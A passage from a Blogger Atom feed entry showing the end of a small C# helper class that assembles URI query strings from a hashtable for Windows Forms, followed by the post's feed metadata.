#008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;67&lt;/span&gt;   htURIQuerystring.Remove(Key);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;68&lt;/span&gt;  }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;69&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;70&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;71&lt;/span&gt; &lt;span style="color: #0000FF"&gt;public&lt;/span&gt; &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; GetFullURI()&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;72&lt;/span&gt; {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;73&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;string&lt;/span&gt; ret = &lt;span style="color: #0000FF"&gt;string&lt;/span&gt;.Empty;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;74&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;75&lt;/span&gt;  IDictionaryEnumerator dicEnum = htURIQuerystring.GetEnumerator();&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;76&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;while&lt;/span&gt; (dicEnum.MoveNext())&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;77&lt;/span&gt;  {&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;78&lt;/span&gt;   ret += &lt;span style="color: #0000FF"&gt;string&lt;/span&gt;.Format(&lt;span style="color: #848284"&gt;"{0}={1}&amp;"&lt;/span&gt;, dicEnum.Key, dicEnum.Value);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;79&lt;/span&gt;  }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;80&lt;/span&gt;&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;81&lt;/span&gt;  &lt;span style="color: #0000FF"&gt;return&lt;/span&gt; GetURI() + &lt;span style="color: #848284"&gt;"?"&lt;/span&gt; + ret.Remove(ret.Length - 1, 1);&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;82&lt;/span&gt; }&lt;br /&gt;  &lt;span style='color: #008284; background-color: #e5e5e5; width: 40px; text-align: right; margin-right: 10px; border-right: 1px solid #999999'&gt;83&lt;/span&gt;}&lt;br /&gt; &lt;/div&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/283095442481052191-7674719219019759725?l=heresmycode.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://heresmycode.blogspot.com/feeds/7674719219019759725/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=283095442481052191&amp;postID=7674719219019759725' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7674719219019759725'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/283095442481052191/posts/default/7674719219019759725'/><link rel='alternate' type='text/html' href='http://heresmycode.blogspot.com/2008/08/little-class-to-help-you-with-uri.html' title='A little class to help you with uri querystrings for Windows Forms'/><author><name>nullstring</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp0.blogger.com/_kFNcLq9qQIg/R2aOfUGXOYI/AAAAAAAAADU/Hgr5RxSP2AY/S220/pict.jpg'/></author><thr:total>0</thr:total></entry></feed>
